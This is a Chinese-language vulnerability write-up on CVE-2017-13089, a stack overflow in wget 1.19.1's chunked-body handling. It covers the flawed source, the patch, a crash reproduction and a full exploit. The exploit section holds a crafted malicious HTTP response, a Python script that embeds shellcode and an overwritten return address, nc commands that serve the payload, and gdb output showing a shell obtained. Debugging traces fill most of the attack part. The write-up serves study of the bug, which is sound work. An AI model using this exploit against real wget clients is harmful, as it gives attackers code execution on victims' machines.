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511 lines
20 KiB
Markdown
511 lines
20 KiB
Markdown
# 7.1.4 [CVE-2017-13089] wget 1.19.1 Buffer Overflow
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- [漏洞描述](#漏洞描述)
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- [漏洞复现](#漏洞复现)
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- [漏洞分析](#漏洞分析)
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- [Exploit](#exploit)
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- [参考资料](#参考资料)
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[下载文件](../src/exploit/7.1.4_wget_2017-13089)
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## 漏洞描述
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wget 是一个从网络上自动下载文件的工具，支持通过 HTTP、HTTPS、FTP 三种最常见的 TCP/IP 协议。
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在处理例如重定向的情况时，wget 会调用到 `skip_short_body()` 函数，函数中会对分块编码的数据调用 `strtol()` 函数读取每个块的长度，但在版本 1.19.2 之前，没有对这个长度进行必要的检查，例如其是否为负数。然后 wget 通过使用 `MIN()` 宏跳过块的 512 个字节，将负数传递给了函数 `fd_read()`。由于 `fd_read()` 接收的参数类型为 `int`，所以块长度的高 32 位会被丢弃，使得攻击者可以控制传递给 `fd_read()` 的参数。
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## 漏洞复现
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| |推荐使用的环境 | 备注 |
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| --- | --- | --- |
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| 操作系统 | Ubuntu 16.04 | 体系结构：64 位 |
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| 调试器 | gdb-peda| 版本号：7.11.1 |
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| 漏洞软件 | wget | 版本号：1.19.1 |
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首先编译安装 wget-1.19.1：
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```
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$ sudo apt-get install libneon27-gnutls-dev
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$ wget https://ftp.gnu.org/gnu/wget/wget-1.19.1.tar.gz
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$ tar zxvf wget-1.19.1.tar.gz
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$ cd wget-1.19.1
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$ ./configure
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$ make && sudo make install
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$ wget -V | head -n1
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GNU Wget 1.19.1 built on linux-gnu.
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```
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引发崩溃的 payload 如下：
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```
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HTTP/1.1 401 Not Authorized
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Content-Type: text/plain; charset=UTF-8
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Transfer-Encoding: chunked
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Connection: keep-alive
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-0xFFFFFD00
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AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
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0
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```
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stack smashing 现场：
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```
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$ nc -lp 6666 < payload & wget --debug localhost:6666
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[1] 4291
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DEBUG output created by Wget 1.19.1 on linux-gnu.
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Reading HSTS entries from /home/firmy/.wget-hsts
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Converted file name 'index.html' (UTF-8) -> 'index.html' (UTF-8)
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--2018-01-30 11:42:32-- http://localhost:6666/
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Resolving localhost... 127.0.0.1
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Caching localhost => 127.0.0.1
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Connecting to localhost|127.0.0.1|:6666... connected.
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Created socket 4.
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Releasing 0x00000000012f51b0 (new refcount 1).
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---request begin---
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GET / HTTP/1.1
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User-Agent: Wget/1.19.1 (linux-gnu)
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Accept: */*
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Accept-Encoding: identity
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Host: localhost:6666
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Connection: Keep-Alive
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---request end---
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GET / HTTP/1.1
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User-Agent: Wget/1.19.1 (linux-gnu)
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Accept: */*
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Accept-Encoding: identity
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Host: localhost:6666
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Connection: Keep-Alive
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HTTP request sent, awaiting response...
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---response begin---
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HTTP/1.1 401 Not Authorized
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Content-Type: text/plain; charset=UTF-8
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Transfer-Encoding: chunked
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Connection: keep-alive
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---response end---
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401 Not Authorized
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Registered socket 4 for persistent reuse.
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Skipping -4294966528 bytes of body: [AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAASkipping -4294967296 bytes of body: [] aborting (EOF received).
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*** stack smashing detected ***: wget terminated
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[1]+ Done nc -lp 6666 < payload
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Aborted (core dumped)
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```
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## 漏洞分析
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关键函数 `skip_short_body()`：
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```c
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// src/http.c
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static bool
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skip_short_body (int fd, wgint contlen, bool chunked)
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{
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enum {
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SKIP_SIZE = 512, /* size of the download buffer */
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SKIP_THRESHOLD = 4096 /* the largest size we read */
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};
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wgint remaining_chunk_size = 0;
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char dlbuf[SKIP_SIZE + 1];
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dlbuf[SKIP_SIZE] = '\0'; /* so DEBUGP can safely print it */
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/* If the body is too large, it makes more sense to simply close the
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connection than to try to read the body. */
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if (contlen > SKIP_THRESHOLD)
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return false;
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while (contlen > 0 || chunked)
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{
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int ret;
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if (chunked)
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{
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if (remaining_chunk_size == 0)
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{
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char *line = fd_read_line (fd);
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char *endl;
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if (line == NULL)
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break;
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remaining_chunk_size = strtol (line, &endl, 16); // 未检查remaining_chunk_size是否为负
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xfree (line);
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if (remaining_chunk_size == 0)
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{
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line = fd_read_line (fd);
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xfree (line);
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break;
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}
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}
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contlen = MIN (remaining_chunk_size, SKIP_SIZE); // contlen 为可控变量
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}
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DEBUGP (("Skipping %s bytes of body: [", number_to_static_string (contlen)));
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ret = fd_read (fd, dlbuf, MIN (contlen, SKIP_SIZE), -1); // 引发溢出
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if (ret <= 0)
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{
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/* Don't normally report the error since this is an
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optimization that should be invisible to the user. */
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DEBUGP (("] aborting (%s).\n",
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ret < 0 ? fd_errstr (fd) : "EOF received"));
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return false;
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}
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contlen -= ret;
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if (chunked)
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{
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remaining_chunk_size -= ret;
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if (remaining_chunk_size == 0)
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{
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char *line = fd_read_line (fd);
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if (line == NULL)
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return false;
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else
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xfree (line);
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}
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}
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/* Safe even if %.*s bogusly expects terminating \0 because
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we've zero-terminated dlbuf above. */
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DEBUGP (("%.*s", ret, dlbuf));
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}
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DEBUGP (("] done.\n"));
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return true;
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}
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```
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一般是这样调用的：
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```c
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if (keep_alive && !head_only
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&& skip_short_body (sock, contlen, chunked_transfer_encoding))
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CLOSE_FINISH (sock);
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```
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所以要想进入到漏洞代码，只需要 `contlen` 的长度不大于 4096 且使用了分块编码 `chunked_transfer_encoding`。对于参数 `chunked_transfer_encoding` 的设置在函数 `gethttp()` 中：
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```c
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// src/http.c
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chunked_transfer_encoding = false;
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if (resp_header_copy (resp, "Transfer-Encoding", hdrval, sizeof (hdrval))
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&& 0 == c_strcasecmp (hdrval, "chunked"))
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chunked_transfer_encoding = true;
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```
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而 `contlen` 的赋值为 `contlen = MIN (remaining_chunk_size, SKIP_SIZE);`，`MIN()` 宏函数定义如下，用于获得两个值中小的那一个：
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```c
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// src/wget.h
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# define MIN(i, j) ((i) <= (j) ? (i) : (j))
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```
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当 `remaining_chunk_size` 为负值时，同样满足小于 `SKIP_SIZE`，所以 `contlen` 实际上是可控的。
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随后进入 `fd_read()` 函数，从 fd 读取 bufsize 个字节到 buf 中，于是引起缓冲区溢出：
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```c
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//src/connect.c
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/* Read no more than BUFSIZE bytes of data from FD, storing them to
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BUF. If TIMEOUT is non-zero, the operation aborts if no data is
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received after that many seconds. If TIMEOUT is -1, the value of
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opt.timeout is used for TIMEOUT. */
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int
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fd_read (int fd, char *buf, int bufsize, double timeout)
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{
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struct transport_info *info;
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LAZY_RETRIEVE_INFO (info);
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if (!poll_internal (fd, info, WAIT_FOR_READ, timeout))
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return -1;
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if (info && info->imp->reader)
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return info->imp->reader (fd, buf, bufsize, info->ctx);
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else
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return sock_read (fd, buf, bufsize);
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}
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```
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#### 补丁
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```diff
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$ git show d892291fb8ace4c3b734ea5125770989c215df3f | cat
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commit d892291fb8ace4c3b734ea5125770989c215df3f
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Author: Tim Rühsen <tim.ruehsen@gmx.de>
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Date: Fri Oct 20 10:59:38 2017 +0200
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Fix stack overflow in HTTP protocol handling (CVE-2017-13089)
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* src/http.c (skip_short_body): Return error on negative chunk size
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Reported-by: Antti Levomäki, Christian Jalio, Joonas Pihlaja from Forcepoint
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Reported-by: Juhani Eronen from Finnish National Cyber Security Centre
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diff --git a/src/http.c b/src/http.c
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index 5536768..dc31823 100644
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--- a/src/http.c
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+++ b/src/http.c
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@@ -973,6 +973,9 @@ skip_short_body (int fd, wgint contlen, bool chunked)
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remaining_chunk_size = strtol (line, &endl, 16);
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xfree (line);
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+ if (remaining_chunk_size < 0)
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+ return false;
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+
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if (remaining_chunk_size == 0)
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{
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line = fd_read_line (fd);
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```
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补丁也很简单，就是对 `remaining_chunk_size` 是否为负值进行了判断。
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## Exploit
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在这里我们做一点有趣的事情。先修改一下配置文件 `configure.ac`，把堆栈保护技术都关掉，也就是加上下面所示的这几行：
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```
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$ cat configure.ac | grep -A4 stack
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dnl Disable stack canaries
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CFLAGS="-fno-stack-protector $CFLAGS"
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dnl Disable No-eXecute
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CFLAGS="-z execstack $CFLAGS"
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dnl
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dnl Create output
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dnl
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```
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然后编译安装，结果如下：
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```
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$ sudo apt-get install automake
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$ make && sudo make install
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$ pwn checksec /usr/local/bin/wget
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[*] '/usr/local/bin/wget'
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Arch: amd64-64-little
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RELRO: Partial RELRO
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Stack: No canary found
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NX: NX disabled
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PIE: No PIE (0x400000)
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RWX: Has RWX segments
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```
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好了，接下来可以搞事情了。为了方便确认栈溢出的地址，把前面 payload 的 body 部分用 pattern 替代掉：
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```
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$ cat payload
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HTTP/1.1 401 Not Authorized
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Content-Type: text/plain; charset=UTF-8
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Transfer-Encoding: chunked
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Connection: keep-alive
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-0xFFFFFD00
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AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AALAAhAA7AAMAAiAA8AANAAjAA9AAOAAkAAPAAlAAQAAmAARAAoAASAApAATAAqAAUAArAAVAAtAAWAAuAAXAAvAAYAAwAAZAAxAAyAAzA%%A%sA%BA%$A%nA%CA%-A%(A%DA%;A%)A%EA%aA%0A%FA%bA%1A%GA%cA%2A%HA%dA%3A%IA%eA%4A%JA%fA%5A%KA%gA%6A%LA%hA%7A%MA%iA%8A%NA%jA%9A%OA%kA%PA%lA%QA%mA%RA%oA%SA%pA%TA%qA%UA%rA%VA%tA%WA%uA%XA%vA%YA%wA%ZA%xA%yA%zAs%AssAsBAs$AsnAsCAs-As(AsDAs;As)AsEAsaAs0AsFAsbAs1AsGAscAs2AsHAsdAs3AsIAseAs4AsJAsfAs5AsKAsgAs6AsLAshAs7AsMAsiAs8AsNAsjAs9AsOAskAsPAslAsQAsmAsRAsoAsSAspAsTAsqAsUAsrAsVAstAsWAsuAsXAsvAsYAswAsZAsxAs
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0
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$ nc -lp 6666 < payload
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```
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在另一个 shell 里启动 gdb 调试 wget：
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```
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gdb-peda$ r localhost:6666
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gdb-peda$ pattern_offset $ebp
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1933668723 found at offset: 560
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gdb-peda$ searchmem AAA%AAsA
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Searching for 'AAA%AAsA' in: None ranges
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Found 2 results, display max 2 items:
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[heap] : 0x6aad83 ("AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AALAAhAA7AAMAAiAA8AANAAjAA9AAOAAkAAPAAlAAQAAmAARAAoAASAApAATAAqAAUAArAAVAAtAAWAAuAAXAAvAAYAAwAAZAAxAAyA"...)
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[stack] : 0x7fffffffcf40 ("AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AALAAhAA7AAMAAiAA8AANAAjAA9AAOAAkAAPAAlAAQAAmAARAAoAASAApAATAAqAAUAArAAVAAtAAWAAuAAXAAvAAYAAwAAZAAxAAyA"...)
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```
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所以 rsp 的地址位于栈偏移 `568` 的地方。而栈地址位于 `0x7fffffffcf40`。
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构造 exp 来生成 paylaod：
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```py
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payload = """HTTP/1.1 401 Not Authorized
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Content-Type: text/plain; charset=UTF-8
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Transfer-Encoding: chunked
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Connection: keep-alive
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-0xFFFFFD00
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"""
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shellcode = "\x48\x31\xc9\x48\x81\xe9\xfa\xff\xff\xff\x48\x8d\x05"
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shellcode += "\xef\xff\xff\xff\x48\xbb\xc5\xb5\xcb\x60\x1e\xba\xb2"
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shellcode += "\x1b\x48\x31\x58\x27\x48\x2d\xf8\xff\xff\xff\xe2\xf4"
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shellcode += "\xaf\x8e\x93\xf9\x56\x01\x9d\x79\xac\xdb\xe4\x13\x76"
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shellcode += "\xba\xe1\x53\x4c\x52\xa3\x4d\x7d\xba\xb2\x53\x4c\x53"
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shellcode += "\x99\x88\x16\xba\xb2\x1b\xea\xd7\xa2\x0e\x31\xc9\xda"
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shellcode += "\x1b\x93\xe2\x83\xe9\xf8\xb5\xb7\x1b"
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payload += shellcode + (568-len(shellcode)) * "A"
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payload += "\x40\xcf\xff\xff\xff\x7f\x00\x00"
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payload += "\n0\n"
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with open('ppp','wb') as f:
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f.write(payload)
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```
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```
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$ python exp.py
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$ nc -lp 6666 < ppp
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```
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继续使用 gdb 来跟踪。经过 `strtol()` 函数返回的 `remaining_chunk_size` 为 `0xffffffff00000300`：
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```
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gdb-peda$ n
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[----------------------------------registers-----------------------------------]
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RAX: 0xffffffff00000300
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RBX: 0x468722 --> 0x206f4e0050545448 ('HTTP')
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RCX: 0xffffffda
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RDX: 0x1
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RSI: 0xfffffd00
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RDI: 0x6aafab --> 0xfae98148c931000a
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RBP: 0x7fffffffd170 --> 0x7fffffffd580 --> 0x7fffffffd8a0 --> 0x7fffffffd9c0 --> 0x7fffffffdbd0 --> 0x452350 (<__libc_csu_init>: push r15)
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RSP: 0x7fffffffcf20 --> 0xffffffffffffffff
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RIP: 0x41ef0f (<skip_short_body+150>: mov QWORD PTR [rbp-0x8],rax)
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R8 : 0x0
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R9 : 0xfffffffffffffff
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R10: 0x0
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R11: 0x7ffff74045e0 --> 0x2000200020002
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R12: 0x404ca0 (<_start>: xor ebp,ebp)
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R13: 0x7fffffffdcb0 --> 0x2
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R14: 0x0
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R15: 0x0
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EFLAGS: 0x206 (carry PARITY adjust zero sign trap INTERRUPT direction overflow)
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[-------------------------------------code-------------------------------------]
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0x41ef04 <skip_short_body+139>: mov rsi,rcx
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0x41ef07 <skip_short_body+142>: mov rdi,rax
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0x41ef0a <skip_short_body+145>: call 0x404660 <strtol@plt>
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=> 0x41ef0f <skip_short_body+150>: mov QWORD PTR [rbp-0x8],rax
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0x41ef13 <skip_short_body+154>: mov rax,QWORD PTR [rbp-0x10]
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0x41ef17 <skip_short_body+158>: mov rdi,rax
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0x41ef1a <skip_short_body+161>: call 0x404380 <free@plt>
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0x41ef1f <skip_short_body+166>: mov QWORD PTR [rbp-0x10],0x0
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[------------------------------------stack-------------------------------------]
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0000| 0x7fffffffcf20 --> 0xffffffffffffffff
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0008| 0x7fffffffcf28 --> 0x4ffffcf01
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0016| 0x7fffffffcf30 --> 0x13
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0024| 0x7fffffffcf38 --> 0x6aafab --> 0xfae98148c931000a
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0032| 0x7fffffffcf40 --> 0xffffffff00000028
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0040| 0x7fffffffcf48 --> 0x7ffff7652540 --> 0xfbad2887
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0048| 0x7fffffffcf50 --> 0x7fffffffcfc0 ("401 Not Authorized\n")
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0056| 0x7fffffffcf58 --> 0x13
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[------------------------------------------------------------------------------]
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Legend: code, data, rodata, value
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0x000000000041ef0f in skip_short_body ()
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```
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继续调试，到达函数 `fd_read()`，可以看到由于强制类型转换的原因其参数只取出了 `0xffffffff00000300` 的低 4 个字节 `0x300`，所以该函数将读入 `0x300` 个字节的数据到栈地址 `0x7fffffffcf40` 中：
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```
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gdb-peda$ n
|
||
[----------------------------------registers-----------------------------------]
|
||
RAX: 0x4
|
||
RBX: 0x468722 --> 0x206f4e0050545448 ('HTTP')
|
||
RCX: 0x7fffffffcf40 --> 0xffffffff00000028
|
||
RDX: 0x300
|
||
RSI: 0x7fffffffcf40 --> 0xffffffff00000028
|
||
RDI: 0x4
|
||
RBP: 0x7fffffffd170 --> 0x7fffffffd580 --> 0x7fffffffd8a0 --> 0x7fffffffd9c0 --> 0x7fffffffdbd0 --> 0x452350 (<__libc_csu_init>: push r15)
|
||
RSP: 0x7fffffffcf20 --> 0xffffffff00000300
|
||
RIP: 0x41efd6 (<skip_short_body+349>: call 0x4062c5 <fd_read>)
|
||
R8 : 0x0
|
||
R9 : 0x1
|
||
R10: 0x0
|
||
R11: 0x7ffff74045e0 --> 0x2000200020002
|
||
R12: 0x404ca0 (<_start>: xor ebp,ebp)
|
||
R13: 0x7fffffffdcb0 --> 0x2
|
||
R14: 0x0
|
||
R15: 0x0
|
||
EFLAGS: 0x286 (carry PARITY adjust zero SIGN trap INTERRUPT direction overflow)
|
||
[-------------------------------------code-------------------------------------]
|
||
0x41efc9 <skip_short_body+336>: movsd xmm0,QWORD PTR [rip+0x4aa6f] # 0x469a40
|
||
0x41efd1 <skip_short_body+344>: mov rsi,rcx
|
||
0x41efd4 <skip_short_body+347>: mov edi,eax
|
||
=> 0x41efd6 <skip_short_body+349>: call 0x4062c5 <fd_read>
|
||
0x41efdb <skip_short_body+354>: mov DWORD PTR [rbp-0x14],eax
|
||
0x41efde <skip_short_body+357>: cmp DWORD PTR [rbp-0x14],0x0
|
||
0x41efe2 <skip_short_body+361>: jg 0x41f029 <skip_short_body+432>
|
||
0x41efe4 <skip_short_body+363>: movzx eax,BYTE PTR [rip+0x269bf0] # 0x688bdb <opt+571>
|
||
Guessed arguments:
|
||
arg[0]: 0x4
|
||
arg[1]: 0x7fffffffcf40 --> 0xffffffff00000028
|
||
arg[2]: 0x300
|
||
arg[3]: 0x7fffffffcf40 --> 0xffffffff00000028
|
||
[------------------------------------stack-------------------------------------]
|
||
0000| 0x7fffffffcf20 --> 0xffffffff00000300
|
||
0008| 0x7fffffffcf28 --> 0x4ffffcf01
|
||
0016| 0x7fffffffcf30 --> 0x13
|
||
0024| 0x7fffffffcf38 --> 0x6aafab --> 0xfae98100007ffff7
|
||
0032| 0x7fffffffcf40 --> 0xffffffff00000028
|
||
0040| 0x7fffffffcf48 --> 0x7ffff7652540 --> 0xfbad2887
|
||
0048| 0x7fffffffcf50 --> 0x7fffffffcfc0 ("401 Not Authorized\n")
|
||
0056| 0x7fffffffcf58 --> 0x13
|
||
[------------------------------------------------------------------------------]
|
||
Legend: code, data, rodata, value
|
||
0x000000000041efd6 in skip_short_body ()
|
||
```
|
||
|
||
成功跳转到 shellcode，获得 shell：
|
||
```
|
||
gdb-peda$ n
|
||
[----------------------------------registers-----------------------------------]
|
||
RAX: 0x0
|
||
RBX: 0x468722 --> 0x206f4e0050545448 ('HTTP')
|
||
RCX: 0x7ffff7384260 (<__read_nocancel+7>: cmp rax,0xfffffffffffff001)
|
||
RDX: 0x200
|
||
RSI: 0x7fffffffcf40 --> 0xfffae98148c93148
|
||
RDI: 0x4
|
||
RBP: 0x4141414141414141 ('AAAAAAAA')
|
||
RSP: 0x7fffffffd178 --> 0x7fffffffcf40 --> 0xfffae98148c93148
|
||
RIP: 0x41f0ed (<skip_short_body+628>: ret)
|
||
R8 : 0x7fffffffcdb0 --> 0x383
|
||
R9 : 0x1
|
||
R10: 0x0
|
||
R11: 0x246
|
||
R12: 0x404ca0 (<_start>: xor ebp,ebp)
|
||
R13: 0x7fffffffdcb0 --> 0x2
|
||
R14: 0x0
|
||
R15: 0x0
|
||
EFLAGS: 0x246 (carry PARITY adjust ZERO sign trap INTERRUPT direction overflow)
|
||
[-------------------------------------code-------------------------------------]
|
||
0x41f0e2 <skip_short_body+617>: call 0x42a0f5 <debug_logprintf>
|
||
0x41f0e7 <skip_short_body+622>: mov eax,0x1
|
||
0x41f0ec <skip_short_body+627>: leave
|
||
=> 0x41f0ed <skip_short_body+628>: ret
|
||
0x41f0ee <modify_param_name>: push rbp
|
||
0x41f0ef <modify_param_name+1>: mov rbp,rsp
|
||
0x41f0f2 <modify_param_name+4>: sub rsp,0x30
|
||
0x41f0f6 <modify_param_name+8>: mov QWORD PTR [rbp-0x28],rdi
|
||
[------------------------------------stack-------------------------------------]
|
||
0000| 0x7fffffffd178 --> 0x7fffffffcf40 --> 0xfffae98148c93148
|
||
0008| 0x7fffffffd180 --> 0xa300a ('\n0\n')
|
||
0016| 0x7fffffffd188 --> 0x0
|
||
0024| 0x7fffffffd190 --> 0x7fffffffdad4 --> 0x0
|
||
0032| 0x7fffffffd198 --> 0x7fffffffd780 --> 0x0
|
||
0040| 0x7fffffffd1a0 --> 0x6a9a00 --> 0x68acb0 ("http://localhost:6666/")
|
||
0048| 0x7fffffffd1a8 --> 0x6a9a00 --> 0x68acb0 ("http://localhost:6666/")
|
||
0056| 0x7fffffffd1b0 --> 0x0
|
||
[------------------------------------------------------------------------------]
|
||
Legend: code, data, rodata, value
|
||
0x000000000041f0ed in skip_short_body ()
|
||
gdb-peda$ x/20gx 0x7fffffffcf40
|
||
0x7fffffffcf40: 0xfffae98148c93148 0xffffef058d48ffff <-- shellcode
|
||
0x7fffffffcf50: 0x1e60cbb5c5bb48ff 0x48275831481bb2ba
|
||
0x7fffffffcf60: 0xaff4e2fffffff82d 0xac799d0156f9938e
|
||
0x7fffffffcf70: 0x4c53e1ba7613e4db 0x4c53b2ba7d4da352
|
||
0x7fffffffcf80: 0xea1bb2ba16889953 0x931bdac9310ea2d7
|
||
0x7fffffffcf90: 0x411bb7b5f8e983e2 0x4141414141414141
|
||
0x7fffffffcfa0: 0x4141414141414141 0x4141414141414141
|
||
0x7fffffffcfb0: 0x4141414141414141 0x4141414141414141
|
||
0x7fffffffcfc0: 0x4141414141414141 0x4141414141414141
|
||
0x7fffffffcfd0: 0x4141414141414141 0x4141414141414141
|
||
```
|
||
|
||
Bingo!!!
|
||
```
|
||
Starting program: /usr/local/bin/wget localhost:6666
|
||
[Thread debugging using libthread_db enabled]
|
||
Using host libthread_db library "/lib/x86_64-linux-gnu/libthread_db.so.1".
|
||
--2018-01-30 15:40:49-- http://localhost:6666/
|
||
Resolving localhost... 127.0.0.1
|
||
Connecting to localhost|127.0.0.1|:6666... connected.
|
||
HTTP request sent, awaiting response... 401 Not Authorized
|
||
process 20613 is executing new program: /bin/dash
|
||
[New process 20617]
|
||
process 20617 is executing new program: /bin/dash
|
||
$ whoami
|
||
[New process 20618]
|
||
process 20618 is executing new program: /usr/bin/whoami
|
||
firmy
|
||
$ [Inferior 3 (process 20618) exited normally]
|
||
Warning: not running or target is remote
|
||
```
|
||
|
||
|
||
## 参考资料
|
||
- [CVE-2017-13089 Detail](https://nvd.nist.gov/vuln/detail/CVE-2017-13089)
|
||
- https://github.com/r1b/CVE-2017-13089
|